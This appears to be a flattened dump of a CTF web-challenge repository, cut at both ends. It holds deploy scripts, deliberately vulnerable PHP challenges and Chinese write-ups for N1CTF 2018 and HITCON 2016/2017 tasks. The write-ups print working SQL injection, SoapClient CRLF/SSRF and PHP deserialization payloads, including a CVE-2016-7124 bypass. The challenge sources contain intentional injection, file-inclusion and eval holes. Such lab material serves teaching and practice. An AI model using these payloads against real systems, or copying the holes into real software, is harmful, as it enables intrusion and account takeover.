list(b'mysql_native_password') + [ 32 | 0, 0, 33 | ]) 34 | 35 | 36 | def make_cmd(cmd): 37 | length = struct.pack("" > /app/views/phpinfo 35 | chmod 555 /app/views/phpinfo 36 | rm /app/views/login~ 37 | rm /app/views/index~ 38 | ## rm sql 39 | cd /tmp/ 40 | rm sql.sql 41 | 42 | source /etc/apache2/envvars 43 | tail -F /var/log/apache2/* & 44 | exec apache2 -D FOREGROUND 45 | -------------------------------------------------------------------------------- /SSRF/n1ctf-2018-easy_harder_php/deploy/sql.sql: -------------------------------------------------------------------------------- 1 | CREATE database nu1lctf; 2 | use nu1lctf; 3 | create table ctf_users (id int PRIMARY KEY AUTO_INCREMENT,username char(100),password char(100),ip char(50),is_admin char(10),allow_diff_ip char(10)); 4 | create table ctf_user_signature (id int PRIMARY KEY AUTO_INCREMENT,username char(100),userid int,signature text,mood text); 5 | 6 | insert into ctf_users( `username`,`password`,`ip`,`is_admin`,`allow_diff_ip` ) values ( 'admin','2533f492a796a3227b0c6f91d102cc36','127.0.0.1','1','0'); 7 | create database flag; 8 | use flag; 9 | create table flag (id int PRIMARY KEY,flag char(120)); 10 | INSERT INTO flag VALUES (1,'n1ctf{php_unserialize_ssrf_crlf_injection_is_easy:p}'); 11 | CREATE USER 'Nu1L'@'localhost' IDENTIFIED BY 'Nu1Lpassword233334'; 12 | grant all privileges on `nu1lctf`.* to 'Nu1L'@'%' identified by 'Nu1Lpassword233334'; 13 | -------------------------------------------------------------------------------- /SSRF/n1ctf-2018-easy_harder_php/run: -------------------------------------------------------------------------------- 1 | # /bin/bash 2 | docker run -d -p 8006:80 ctf/harder-php -------------------------------------------------------------------------------- /SSRF/n1ctf-2018-easy_harder_php/writeup/README.md: -------------------------------------------------------------------------------- 1 | # n1ctf 2 | 3 | ## N1CTF Easy&&Hard PHP 4 | 通过扫描可以发现 `index.php~ config.php~ user.php~` 5 | 6 | 阅读 `index.php~` 发现 `views` 目录,列出了目录下文件,可得到源码,同时该处还存在任意文件包含 7 | ```php 8 | if(isset($_GET['action'])) 9 | require_once 'views/'.$_GET['action']; 10 | ``` 11 | 12 | ### SQL 注入 13 | 在 `config.php` 中,程序对所有输入都进行了过滤 14 | ```php 15 | function addsla_all() 16 | { 17 | if (!get_magic_quotes_gpc()) 18 | { 19 | if (!empty($_GET)) 20 | { 21 | $_GET = addslashes_deep($_GET); 22 | } 23 | if (!empty($_POST)) 24 | { 25 | $_POST = addslashes_deep($_POST); 26 | } 27 | $_COOKIE = addslashes_deep($_COOKIE); 28 | $_REQUEST = addslashes_deep($_REQUEST); 29 | } 30 | } 31 | addsla_all(); 32 | ``` 33 | 34 | 我们先从注册功能看起,函数调用栈如下: 35 | ```php 36 | $C->register() # views/register 37 | $db->insert() # user.php 38 | $db->getcolumn() # config.php 39 | ``` 40 | 41 | ```php 42 | public function insert($columns,$table,$values){ 43 | 44 | $column = $this->get_column($columns); 45 | $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')'; 46 | $nid = 47 | $sql = 'insert into '.$table.'('.$column.') values '.$value; 48 | $result = $this->conn->query($sql); 49 | 50 | return $result; 51 | } 52 | 53 | private function get_column($columns){ 54 | 55 | if(is_array($columns)) 56 | $column = ' `'.implode('`,`',$columns).'` '; 57 | else 58 | $column = ' `'.$columns.'` '; 59 | 60 | return $column; 61 | } 62 | ``` 63 | 64 | 发现 `insert` 函数中将所有 `` `xxx` `` 替换成 `'xxx'`,因此可以进行注入,但是由于 `register` 还进行了 `check_username` 处理,继续审计。 65 | 66 | 在 `publish` 中找到漏洞利用点。 67 | 68 | ```php 69 | function publish() 70 | { 71 | ... 72 | if(isset($_POST['signature']) && isset($_POST['mood'])) { 73 | 74 | $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip()))); 75 | $db = new Db(); 76 | @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood)); 77 | if($ret) 78 | return true; 79 | else 80 | return false; 81 | } 82 | ... 83 | } 84 | ``` 85 | 其中 `signature` 参数可控,通过 SQL 注入得到 admin 密码 md5 值,解出为 `nu1ladmin`。 86 | ```sql 87 | signature=1`,if((ascii(substr((select password from ctf_users where is_admin=1),1,1))=113),sleep(3),1))#&mood=1 88 | ``` 89 | 90 | 然而还是无法登录,再看 `login` 函数 91 | ```php 92 | function login() { 93 | ... 94 | @$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1"); 95 | 96 | if($ret) 97 | { 98 | 99 | $user = $ret->fetch_row(); 100 | if($user) { 101 | if ($user[4] == '0' && $user[2] !== get_ip()) 102 | die("You can only login at the usual address"); 103 | if ($user[3] == '1') 104 | $_SESSION['is_admin'] = 1; 105 | else 106 | $_SESSION['is_admin'] = 0; 107 | $_SESSION['userid'] = $user[0]; 108 | $_SESSION['username'] = $user[1]; 109 | $this->username = $user[1]; 110 | $this->userid = $user[0]; 111 | return true; 112 | } 113 | else 114 | return false; 115 | } 116 | ... 117 | } 118 | ``` 119 | 发现会验证是否同 ip,而 admin 必须来自 127.0.0.1 120 | 121 | ```php 122 | function get_ip(){ 123 | return $_SERVER['REMOTE_ADDR']; 124 | } 125 | ``` 126 | 查看 `get_ip` 函数,猜测需要通过 SSRF 绕过该限制。继续审计 127 | 128 | ### 反序列化 129 | 在 `user.php` 中找到反序列化漏洞 130 | ```php 131 | function showmess() 132 | { 133 | ... 134 | $db = new Db(); 135 | @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc"); 136 | if($ret) { 137 | $data = array(); 138 | while ($row = $ret->fetch_row()) { 139 | $sig = $row[1]; 140 | $mood = unserialize($row[2]); 141 | $country = $mood->getcountry(); 142 | $ip = $mood->ip; 143 | $subtime = $mood->getsubtime(); 144 | $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime); 145 | array_push($data, $allmess); 146 | } 147 | ... 148 | } 149 | ``` 150 | 151 | 可以通过注入 152 | ``` 153 | a`, {serialize object});# 154 | ``` 155 | 然后访问 index 页面触发反序列化。 156 | 157 | ### SoapClient 导致的 SSRF 158 | 159 | 因为需要 SSRF,又有反序列化,所以我们需要一个内置类,同时具备发请求的方法。 160 | 161 | 在 PHP 文档中有这样的话 162 | > 在调用一个类的不可访问的方法的时候,就会去调用__call方法。 163 | 164 | 所以我们只需要找到一个类,重载了__call方法,并且可以发请求的就可以了,然后找到了soapClient这个类: 165 | 166 | ```php 167 | public SoapClient ( mixed $wsdl [, array $options ] ) 168 | ``` 169 | 170 | `$wsdl` 控制是否是 wsdl 模式,如果为 NULL,就是非 wsdl 模式,那么反序列化的时候就会对options中的url进行远程soap请求。 171 | 172 | `options` 数组中的 `uri` 及 `user_agent` 参数可控,可造成 CRLF 漏洞,导致能生成任意报文。 173 | 174 | 利用该类,便可以生成一个利用 `admin` 账户登录的 HTTP 包。 175 | 176 | 有关 SoapClient 为何引起 SSRF 的原理不再赘述,详情建议阅读 wupco 师傅的[文章](https://xz.aliyun.com/t/2148),通过剖析源码介绍的很细致了。 177 | 178 | #### 利用 user_agent 的 CRLF 179 | 因为 `user_agent` 在 HTTP 包中的顺序位于 `Content-Type` 之前,因此可以进行修改 180 | 181 | 来自 wupco 师傅的 PoC: 182 | ```php 183 | $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab")); 191 | 192 | $aaa = serialize($b); 193 | $aaa = str_replace('^^',"\r\n",$aaa); 194 | $aaa = str_replace('&','&',$aaa); 195 | echo bin2hex($aaa); 196 | ?> 197 | ``` 198 | 其中,PHPSESSID 使用一个未登录时保存的 PHPSESSID,code 使用该 ID 对应的验证码解出来的值。 199 | 200 | 然后通过 publish 如下数据,并利用该账户访问 index 页面触发反序列化,即可获得 admin 账户 201 | ![publish](img/payload.png) 202 | 203 | > 一个疑惑:此处在本机利用 PHP (v7.1) 执行 PoC 会多出一个 stream_context 属性,导致执行失败,改用 docker 环境中的 PHP 获取 payload 则没该属性,然后成功拿到 admin 账户 204 | 205 | #### 利用 uri 的 CRLF 206 | 针对 uri 的 CRLF 注入位于 `Content-Type` 后面,无法修改,因此不能像 `user_agent` 那样注入。 207 | 208 | 一次 HTTP 连接中可以同时有多个 HTTP 请求头和请求体,但是当前请求被响应的前提是,前一个请求有 `Connection: Keep-Alive`(测试的时候需要注意Content-Length字段,需把 burp 中的 repeater->update content-length选项关掉) 209 | 210 | 如果我们遇到一个 GET 型的 CRLF 注入,但是我们需要的却是一个 POST 类型的请求,就可以用这种方式,在第一个请求中注入一个 `Connection: Keep-Alive`,然后接着往下注入第二个请求,就可以实现。 211 | 212 | wonderkun 师傅的 PoC: 213 | ```php 214 | $uri = "http://www.baidu.com/?test=blue\r\nContent-Length: 0\r\n\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: PHPSESSID=52m5ugohiki56gds9c6t71rj92\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\nConnection: Close\r\n\r\nusername=admin&password=nu1ladmin&code=435137\r\n\r\n\r\n"; 215 | $location = "http://127.0.0.1/test"; //注意这里一定不要写 index.php?action=login,否则第一个请求会改变验证码的值 216 | $event = new SoapClient(null,array('location'=>$location,'uri'=>$uri)); 217 | echo urlencode(serialize($event)); 218 | ``` 219 | 220 | ### 上传绕过 221 | 获得 admin 账户后,publish 处可以上传文件。 222 | 223 | upload 函数的代码如下: 224 | ```php 225 | function upload($file) { 226 | $file_size = $file['size']; 227 | if($file_size>2*1024*1024) { 228 | echo "pic is too big!"; 229 | return false; 230 | } 231 | $file_type = $file['type']; 232 | if($file_type!="image/jpeg" && $file_type!='image/pjpeg') { 233 | echo "file type invalid"; 234 | return false; 235 | } 236 | if(is_uploaded_file($file['tmp_name'])) { 237 | $uploaded_file = $file['tmp_name']; 238 | $user_path = "/app/adminpic"; 239 | if (!file_exists($user_path)) { 240 | mkdir($user_path); 241 | } 242 | $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']); 243 | $file_true_name = str_replace('/','',$file_true_name); 244 | $file_true_name = str_replace('\\','',$file_true_name); 245 | $file_true_name = $file_true_name.time().rand(1,100).'.jpg'; 246 | $move_to_file = $user_path."/".$file_true_name; 247 | if(move_uploaded_file($uploaded_file,$move_to_file)) { 248 | if(stripos(file_get_contents($move_to_file),'=0) 249 | system('sh /home/nu1lctf/clean_danger.sh'); 250 | return $file_true_name; 251 | } 252 | else 253 | return false; 254 | } 255 | else 256 | return false; 257 | } 258 | ``` 259 | 260 | 我们重点关注这里 261 | ```php 262 | if(stripos(file_get_contents($move_to_file),'=0) 263 | system('sh /home/nu1lctf/clean_danger.sh'); 264 | return $file_true_name; 265 | ``` 266 | 267 | 通过文件包含可得到 `clear_danger.sh` 的内容: 268 | ```shell 269 | cd /app/adminpic/ 270 | rm *.jpg 271 | ``` 272 | 273 | 代码检测文件内容是否包含 `method = $method; 12 | $this->args = $args; 13 | 14 | $this->__conn(); 15 | } 16 | 17 | function show() { 18 | list($username) = func_get_args(); 19 | $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username); 20 | 21 | $obj = $this->__query($sql); 22 | if ( $obj != false ) { 23 | $this->__die( sprintf("%s is %s", $obj->username, $obj->role) ); 24 | } else { 25 | $this->__die("Nobody Nobody But You!"); 26 | } 27 | 28 | } 29 | 30 | function login() { 31 | global $FLAG; 32 | 33 | list($username, $password) = func_get_args(); 34 | $username = strtolower(trim(mysql_escape_string($username))); 35 | $password = strtolower(trim(mysql_escape_string($password))); 36 | 37 | $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password); 38 | 39 | if ( $username == 'orange' || stripos($sql, 'orange') != false ) { 40 | $this->__die("Orange is so shy. He do not want to see you."); 41 | } 42 | 43 | $obj = $this->__query($sql); 44 | if ( $obj != false && $obj->role == 'admin' ) { 45 | $this->__die("Hi, Orange! Here is your flag: " . $FLAG); 46 | } else { 47 | $this->__die("Admin only!"); 48 | } 49 | } 50 | 51 | function source() { 52 | highlight_file(__FILE__); 53 | } 54 | 55 | function __conn() { 56 | global $db_host, $db_name, $db_user, $db_pass, $DEBUG; 57 | 58 | if (!$this->conn) 59 | $this->conn = mysqli_connect($db_host, $db_user, $db_pass); 60 | mysqli_select_db($this->conn, $db_name); 61 | 62 | if ($DEBUG) { 63 | $sql = "CREATE TABLE IF NOT EXISTS users ( 64 | username VARCHAR(64), 65 | password VARCHAR(64), 66 | role VARCHAR(64) 67 | ) CHARACTER SET utf8"; 68 | $this->__query($sql, $back=false); 69 | 70 | $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"; 71 | $this->__query($sql, $back=false); 72 | } 73 | 74 | mysqli_query($this->conn, "SET names utf8"); 75 | mysqli_query($this->conn, "SET sql_mode = 'strict_all_tables'"); 76 | } 77 | 78 | function __query($sql, $back=true) { 79 | $result = @mysqli_query($this->conn, $sql); 80 | if ($back) { 81 | return @mysqli_fetch_object($result); 82 | } 83 | } 84 | 85 | function __die($msg) { 86 | $this->__close(); 87 | 88 | header("Content-Type: application/json"); 89 | die( json_encode( array("msg"=> $msg) ) ); 90 | } 91 | 92 | function __close() { 93 | mysqli_close($this->conn); 94 | } 95 | 96 | function __destruct() { 97 | $this->__conn(); 98 | 99 | if (in_array($this->method, array("show", "login", "source"))) { 100 | @call_user_func_array(array($this, $this->method), $this->args); 101 | } else { 102 | $this->__die("What do you do?"); 103 | } 104 | 105 | $this->__close(); 106 | } 107 | 108 | function __wakeup() { 109 | foreach($this->args as $k => $v) { 110 | $this->args[$k] = strtolower(trim(mysql_escape_string($v))); 111 | } 112 | } 113 | } 114 | 115 | if(isset($_GET["data"])) { 116 | @unserialize($_GET["data"]); 117 | } else { 118 | new HITCON("source", array()); 119 | } -------------------------------------------------------------------------------- /Unserialization/hitcon-2016-babytrick/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service mysql restart 3 | 4 | chown www-data:www-data /app -R 5 | 6 | ## clean danger 7 | rm -rf /var/www/phpinfo 8 | sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/cli/php.ini 9 | sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/apache2/php.ini 10 | 11 | cd /etc/php5/apache2/conf.d/ 12 | rm 20-xdebug.ini 13 | rm 20-memcached.ini 14 | rm 20-memcache.ini 15 | 16 | source /etc/apache2/envvars 17 | tail -F /var/log/apache2/* & 18 | exec apache2 -D FOREGROUND 19 | 20 | -------------------------------------------------------------------------------- /Unserialization/hitcon-2016-babytrick/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -d -p 8004:80 ctf/babytrick -------------------------------------------------------------------------------- /Unserialization/hitcon-2016-babytrick/writeup/README.md: -------------------------------------------------------------------------------- 1 | # Hitcon-2016-babytrick 2 | ```php 3 | method = $method; 14 | $this->args = $args; 15 | 16 | $this->__conn(); 17 | } 18 | 19 | function show() { 20 | list($username) = func_get_args(); 21 | $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username); 22 | 23 | $obj = $this->__query($sql); 24 | if ( $obj != false ) { 25 | $this->__die( sprintf("%s is %s", $obj->username, $obj->role) ); 26 | } else { 27 | $this->__die("Nobody Nobody But You!"); 28 | } 29 | 30 | } 31 | 32 | function login() { 33 | global $FLAG; 34 | 35 | list($username, $password) = func_get_args(); 36 | $username = strtolower(trim(mysql_escape_string($username))); 37 | $password = strtolower(trim(mysql_escape_string($password))); 38 | 39 | $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password); 40 | 41 | if ( $username == 'orange' || stripos($sql, 'orange') != false ) { 42 | $this->__die("Orange is so shy. He do not want to see you."); 43 | } 44 | 45 | $obj = $this->__query($sql); 46 | if ( $obj != false && $obj->role == 'admin' ) { 47 | $this->__die("Hi, Orange! Here is your flag: " . $FLAG); 48 | } else { 49 | $this->__die("Admin only!"); 50 | } 51 | } 52 | 53 | function source() { 54 | highlight_file(__FILE__); 55 | } 56 | 57 | function __conn() { 58 | global $db_host, $db_name, $db_user, $db_pass, $DEBUG; 59 | 60 | if (!$this->conn) 61 | $this->conn = mysqli_connect($db_host, $db_user, $db_pass); 62 | mysqli_select_db($this->conn, $db_name); 63 | 64 | if ($DEBUG) { 65 | $sql = "CREATE TABLE IF NOT EXISTS users ( 66 | username VARCHAR(64), 67 | password VARCHAR(64), 68 | role VARCHAR(64) 69 | ) CHARACTER SET utf8"; 70 | $this->__query($sql, $back=false); 71 | 72 | $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"; 73 | $this->__query($sql, $back=false); 74 | } 75 | 76 | mysqli_query($this->conn, "SET names utf8"); 77 | mysqli_query($this->conn, "SET sql_mode = 'strict_all_tables'"); 78 | } 79 | 80 | function __query($sql, $back=true) { 81 | $result = @mysqli_query($this->conn, $sql); 82 | if ($back) { 83 | return @mysqli_fetch_object($result); 84 | } 85 | } 86 | 87 | function __die($msg) { 88 | $this->__close(); 89 | 90 | header("Content-Type: application/json"); 91 | die( json_encode( array("msg"=> $msg) ) ); 92 | } 93 | 94 | function __close() { 95 | mysqli_close($this->conn); 96 | } 97 | 98 | function __destruct() { 99 | $this->__conn(); 100 | 101 | if (in_array($this->method, array("show", "login", "source"))) { 102 | @call_user_func_array(array($this, $this->method), $this->args); 103 | } else { 104 | $this->__die("What do you do?"); 105 | } 106 | 107 | $this->__close(); 108 | } 109 | 110 | function __wakeup() { 111 | foreach($this->args as $k => $v) { 112 | $this->args[$k] = strtolower(trim(mysql_escape_string($v))); 113 | } 114 | } 115 | } 116 | 117 | if(isset($_GET["data"])) { 118 | @unserialize($_GET["data"]); 119 | } else { 120 | new HITCON("source", array()); 121 | } 122 | ``` 123 | 124 | 很容易发现 `show` 函数存在 SQL 注入,因此思路是通过反序列化执行该函数,并传入 SQL 注入语句。 125 | 126 | 然而 `__wakeup` 函数会对输入进行过滤,无法顺利注入,绕过方法就是 CVE-2016-7124 127 | 128 | ## CVE-2016-7124 129 | 该 CVE 简单说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过 `__wakeup` 的执行。 130 | 131 | ```php 132 | method = $method; 140 | $this->args = $args; 141 | } 142 | } 143 | 144 | $sql = array("a' union select password,1,1 from users where username='orange'%23"); 145 | $pass = new HITCON("show", $sql); 146 | echo urlencode(serialize($pass)); 147 | # O%3A6%3A%22HITCON%22%3A3%3A%7Bs%3A14%3A%22%00HITCON%00method%22%3Bs%3A4%3A%22show%22%3Bs%3A12%3A%22%00HITCON%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A79%3A%22orange%27+union+select+password%2C1%2C1+from+users+where+username%3D%27orange%27+limit+1%2C1%23%22%3B%7Ds%3A12%3A%22%00HITCON%00conn%22%3Bi%3A0%3B%7D 148 | 149 | # 还需将属性数量增加以绕过 __wakeup 函数,%3A3%3A 中的 3 改大即可 150 | ``` 151 | 152 | 153 | ## 字符差异绕过限制 154 | 得到密码后进行下一步 SQL 注入,但是发现有如下限制 155 | ```php 156 | mysqli_query($this->conn, "SET names utf8"); 157 | ... 158 | if ( $username == 'orange' || stripos($sql, 'orange') != false ) { 159 | $this->__die("Orange is so shy. He do not want to see you."); 160 | } 161 | ``` 162 | 163 | 猪猪侠提到过这样的 tip(MySQL 官方文档也有类似的话): 164 | > MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。 165 | 166 | 因此可以利用 Ä 替换 A 来绕过过滤。 167 | 168 | ```php 169 | method = $method; 177 | $this->args = $args; 178 | } 179 | } 180 | 181 | $user['username'] = 'ORÄNGE'; 182 | $user['password'] = 'babytrick1234'; 183 | $data = new HITCON('login', $user); 184 | echo urlencode(serialize($data)); 185 | # O%3A6%3A%22HITCON%22%3A3%3A%7Bs%3A14%3A%22%00HITCON%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00HITCON%00args%22%3Ba%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22OR%C3%84NGE%22%3Bs%3A8%3A%22password%22%3Bs%3A13%3A%22babytrick1234%22%3B%7Ds%3A12%3A%22%00HITCON%00conn%22%3BN%3B%7D% 186 | ``` 187 | 188 | ## References 189 | [hitcon-babytrick题目分析与解答](https://blog.spoock.com/2016/11/08/hitcon-babytrick-writeup/) 190 | 191 | -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2017/baby^h-master-php-2017/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2017/baby%5Eh-master-php-2017) 3 | 4 | [hitconDockerfile/hitcon-ctf-2017/baby^h-master-php-2017/](https://github.com/Pr0phet/hitconDockerfile/tree/master/hitcon-ctf-2017/baby%5Eh-master-php-2017) -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t="ctf/baby-master-php" ./deploy -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 4 | 5 | ENV TZ=Asia/Shanghai 6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 7 | 8 | RUN apt-get update -y 9 | 10 | # 安装 PHP 及 apache 11 | RUN apt-get install -y apache2 \ 12 | php7.0 \ 13 | libapache2-mod-php7.0 \ 14 | php7.0-cli 15 | 16 | # 安装 crontab,每天 4 点清空 sandbox 17 | RUN apt-get install -y cron 18 | RUN echo '0 4 * * * root rm -rf /var/www/data/*' >> /etc/crontab 19 | 20 | # 文件移动 21 | COPY default /etc/apache2/sites-available/000-default.conf 22 | 23 | COPY ./src/index.php /var/www/html/index.php 24 | COPY ./src/read_flag /read_flag 25 | COPY ./src/read_secret /read_secret 26 | COPY ./start.sh /start.sh 27 | RUN rm /var/www/html/*.html 28 | RUN chmod a+x /start.sh 29 | RUN a2enmod rewrite 30 | 31 | 32 | # 题目环境 33 | RUN chmod u+s /read_flag 34 | RUN chown -R www-data:www-data /var/www/html \ 35 | && ln -s /var/www/html /html 36 | 37 | RUN mkdir /var/www/data 38 | RUN chown www-data /var/www/data 39 | RUN chmod -R 775 /var/www/data 40 | RUN echo 'hitcon{Th3 d4rk fl4m3 PHP Mast3r}' > /flag 41 | RUN chmod 700 /flag 42 | 43 | # 清除 44 | RUN apt-get clean \ 45 | && rm -rf /var/lib/apt/lists/* 46 | 47 | EXPOSE 80 48 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/deploy/default: -------------------------------------------------------------------------------- 1 | 2 | # The ServerName directive sets the request scheme, hostname and port that 3 | # the server uses to identify itself. This is used when creating 4 | # redirection URLs. In the context of virtual hosts, the ServerName 5 | # specifies what hostname must appear in the request's Host: header to 6 | # match this virtual host. For the default virtual host (this file) this 7 | # value is not decisive as it is used as a last resort host regardless. 8 | # However, you must set it for any further virtual host explicitly. 9 | #ServerName www.example.com 10 | 11 | ServerAdmin webmaster@localhost 12 | DocumentRoot /var/www/html 13 | 14 | 15 | AllowOverride All 16 | Require all granted 17 | 18 | 19 | # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, 20 | # error, crit, alert, emerg. 21 | # It is also possible to configure the loglevel for particular 22 | # modules, e.g. 23 | #LogLevel info ssl:warn 24 | 25 | ErrorLog /dev/stdout 26 | CustomLog /dev/stdout combined 27 | 28 | # For most configuration files from conf-available/, which are 29 | # enabled or disabled at a global level, it is possible to 30 | # include a line for only one particular virtual host. For example the 31 | # following line enables the CGI configuration for this host only 32 | # after it has been globally disabled with "a2disconf". 33 | #Include conf-available/serve-cgi-bin.conf 34 | -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/deploy/src/index.php: -------------------------------------------------------------------------------- 1 | avatar = $path; 18 | } 19 | } 20 | 21 | class Admin extends User { 22 | function __destruct(){ 23 | $random = bin2hex(openssl_random_pseudo_bytes(32)); 24 | eval("function my_function_$random() {" 25 | ." global \$FLAG; \$FLAG();" 26 | ."}"); 27 | $_GET["lucky"](); 28 | } 29 | } 30 | 31 | function check_session() { 32 | global $SECRET; 33 | $data = $_COOKIE["session-data"]; 34 | list($data, $hmac) = explode("-----", $data, 2); 35 | if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) 36 | die("Bye"); 37 | if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) 38 | die("Bye Bye"); 39 | 40 | $data = unserialize($data); 41 | if ( !isset($data->avatar) ) 42 | die("Bye Bye Bye"); 43 | return $data->avatar; 44 | } 45 | 46 | function upload($path) { 47 | $data = file_get_contents($_GET["url"] . "/avatar.gif"); 48 | if (substr($data, 0, 6) !== "GIF89a") 49 | die("Fuck off"); 50 | file_put_contents($path . "/avatar.gif", $data); 51 | die("Upload OK"); 52 | } 53 | 54 | function show($path) { 55 | if ( !file_exists($path . "/avatar.gif") ) 56 | $path = "/var/www/html"; 57 | header("Content-Type: image/gif"); 58 | die(file_get_contents($path . "/avatar.gif")); 59 | } 60 | 61 | $mode = $_GET["m"]; 62 | if ($mode == "upload") 63 | upload(check_session()); 64 | else if ($mode == "show") 65 | show(check_session()); 66 | else 67 | highlight_file(__FILE__); 68 | -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/deploy/src/read_flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2017-baby^h-master-php/deploy/src/read_flag -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/deploy/src/read_secret: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2017-baby^h-master-php/deploy/src/read_secret -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #Configure the apache2 4 | sed 's/Indexes //' /etc/apache2/apache2.conf > /etc/apache2/apache2.conf.new 5 | sed 's/MaxConnectionsPerChild 0/MaxConnectionsPerChild 100/' /etc/apache2/mods-available/mpm_prefork.conf > /etc/apache2/mods-available/mpm_prefork.conf.new 6 | mv /etc/apache2/apache2.conf.new /etc/apache2/apache2.conf 7 | mv /etc/apache2/mods-available/mpm_prefork.conf.new /etc/apache2/mods-available/mpm_prefork.conf 8 | echo '\n\tphp_flag engine off\n' >> /etc/apache2/sites-enabled/000-default.conf 9 | 10 | 11 | service cron start 12 | 13 | 14 | /usr/bin/tail -f /dev/null -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -d -p 8007:80 ctf/baby-master-php -------------------------------------------------------------------------------- /Unserialization/hitcon-2017-baby^h-master-php/writeup/README.md: -------------------------------------------------------------------------------- 1 | # hitcon-2017-baby^h-master-php 2 | 3 | 题目直接给出源码 4 | 5 | ```php 6 | avatar = $path; 23 | } 24 | } 25 | 26 | class Admin extends User { 27 | function __destruct(){ 28 | $random = bin2hex(openssl_random_pseudo_bytes(32)); 29 | eval("function my_function_$random() {" 30 | ." global \$FLAG; \$FLAG();" 31 | ."}"); 32 | $_GET["lucky"](); 33 | } 34 | } 35 | 36 | function check_session() { 37 | global $SECRET; 38 | $data = $_COOKIE["session-data"]; 39 | list($data, $hmac) = explode("-----", $data, 2); 40 | if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) 41 | die("Bye"); 42 | if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) 43 | die("Bye Bye"); 44 | 45 | $data = unserialize($data); 46 | if ( !isset($data->avatar) ) 47 | die("Bye Bye Bye"); 48 | return $data->avatar; 49 | } 50 | 51 | function upload($path) { 52 | $data = file_get_contents($_GET["url"] . "/avatar.gif"); 53 | if (substr($data, 0, 6) !== "GIF89a") 54 | die("Fuck off"); 55 | file_put_contents($path . "/avatar.gif", $data); 56 | die("Upload OK"); 57 | } 58 | 59 | function show($path) { 60 | if ( !file_exists($path . "/avatar.gif") ) 61 | $path = "/var/www/html"; 62 | header("Content-Type: image/gif"); 63 | die(file_get_contents($path . "/avatar.gif")); 64 | } 65 | 66 | $mode = $_GET["m"]; 67 | if ($mode == "upload") 68 | upload(check_session()); 69 | else if ($mode == "show") 70 | show(check_session()); 71 | else 72 | highlight_file(__FILE__); 73 | ``` 74 | 75 | 可以看出 flag 在 `Admin` 类中,如果能构造反序列化触发 `__destruct` 函数就能获取 flag 76 | 77 | ## phar 反序列化 78 | 79 | 简单的说,当使用 phar:// 协议读取 phar 文件的时候,文件内容会被解析成 phar 对象,然后 phar 对象内的 Metadata 信息会被反序列化。 80 | 81 | 在 `upload` 函数中调用了 `file_get_content()` 函数,可以利用 